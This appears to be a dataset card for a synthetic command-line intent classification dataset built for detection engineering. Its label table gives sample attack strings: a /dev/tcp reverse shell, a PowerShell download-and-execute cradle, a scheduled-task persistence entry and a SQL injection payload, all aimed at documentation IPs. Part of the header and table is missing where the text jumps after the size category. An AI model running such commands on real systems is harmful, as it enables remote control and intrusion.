--- license: apache-2.0 language: - en pretty_name: Script & Payload Intent (Synthetic) size_categories: - 10K& /dev/tcp/192.0.2.10/4444 0>&1` | | `persistence` | Cron, systemd, Run keys, scheduled tasks, WMI subscriptions, SSH keys, rogue accounts, web shells | `schtasks /create /tn "Updater" /tr C:\ProgramData\a.exe /sc onlogon` | | `download_execute` | Fetching a remote payload and running it (stagers, LOLBins, cradles) | `IEX (New-Object Net.WebClient).DownloadString('http://192.0.2.5/a.ps1')` | | `sql_injection` | Injection payloads as they appear in parameters, queries and request lines | `' UNION SELECT NULL,username,password FROM users-- -` | ## Splits | Split | Rows | Templates | Purpose | |---|---|---|---| | `train` | 11,760 | 377 | Training (1,680 per class) | | `validation` | 1,680 | 55 | Model selection | | `test` | 3,360 | 108 | Final evaluation (480 per class) | | `challenge` | 73 | n/a | Hand-written, out-of-template stress test | **The splits are template-disjoint.** Every row comes from one of 540 templates, and each template is assigned to exactly one split, so the test set measures whether a model generalizes to *command patterns it never saw* rather than to new IPs or file names in familiar commands. A random split would inflate scores close to 100%. Exact-duplicate texts across splits are removed. The `challenge` config holds 73 commands written by hand after the templates were final, with different IP ranges, tools and phrasing (for example `naabu`, `trufflehog`, `pypykatz`, `finger | cmd` stagers and `msbuild` loaders). None of them come from a template. It is small, so treat its score as a sanity check, not a benchmark. ## Fields | Field | Type | Description | |---|---|---| | `text` | string | The command line, script fragment, query or request line | | `label` | string | One of the seven labels above | | `label_id` | int | Index of `label` in the order listed above | | `language` | string | `bash`, `powershell`, `cmd`, `sql` or `http` | | `mitre_technique` | string or null | MITRE ATT&CK technique ID for malicious rows (null for benign) | | `template_id` | string | Source template, for group-aware splitting and error analysis | ## How it was made 1. **Templates.** 540 hand-written templates: 389 malicious ones, each a known technique documented publicly in MITRE ATT&CK, Atomic Red Team, Sigma rules or common pentest cheat sheets, plus 151 benign templates drawn from routine Linux, Windows, container, cloud and SQL administration. 2. **Slot filling.** IPs, ports, users, domains, paths, file names, service names, tables and base64 blobs are randomized per row. Base64 slots carry real encodings (UTF-16LE for PowerShell `-EncodedCommand`) of either malicious or benign commands, so encoded text appears in both classes. 3. **Augmentation.** Random casing for Windows commands, absolute binary paths, `sudo` prefixes, `cmd.exe /c` and `powershell.exe -Command` wrappers, doubled spaces, and SQL-injection-specific prefix, comment, case and whitespace-encoding variants. Reproduce with `python src/generate_dataset.py --out data --per-class 2400 --seed 42`. ### Safety and privacy - **No real infrastructure.** All IPs are RFC 5737 documentation ranges (`192.0.2.0/24`, `198.51.100.0/24`, `203.0.113.0/24`) in the generated splits and RFC 1918 private ranges in the challenge set; domains use `.example`/`.test` or `example.com`-style names. - **No real people or secrets.** Usernames, passwords and SSH keys are fake placeholders. - **No novel tooling.** Every malicious pattern is a publicly documented technique that defenders already write detections for. The dataset contains command *strings*, not binaries or exploits. ## Limitations - **Synthetic distribution.** Real command lines are longer, messier and more varied. Expect lower accuracy on production telemetry than on this test split. - **One label per row.** Real attacks chain intents (a cron job that opens a reverse shell is both persistence and a reverse shell). Each row gets the label of its *primary* intent; a cron entry is labeled `persistence` even if its payload is a reverse shell. - **Context-free.** Some commands (`whoami`, `net user`, `sudo -l`) are benign or reconnaissance depending on who runs them and when. The dataset labels them by their typical use in attack chains, and the `benign` class includes the most common everyday forms. - **Obfuscation coverage is shallow.** Heavy obfuscation (Invoke-Obfuscation, string concatenation, environment-variable tricks) is mostly absent. - **English, Latin-script only.** Comments and identifiers are English. ## Intended use Training and evaluating command-line intent classifiers, detection-engineering prototypes, and teaching. It should not be the only signal in a production detection pipeline. ## Citation ```bibtex @misc{script_intent_2026, title = {Script & Payload Intent (Synthetic)}, author = {DaveyD347}, year = {2026}, url = {https://huggingface.co/datasets/DaveyD347/script-intent-commands} } ```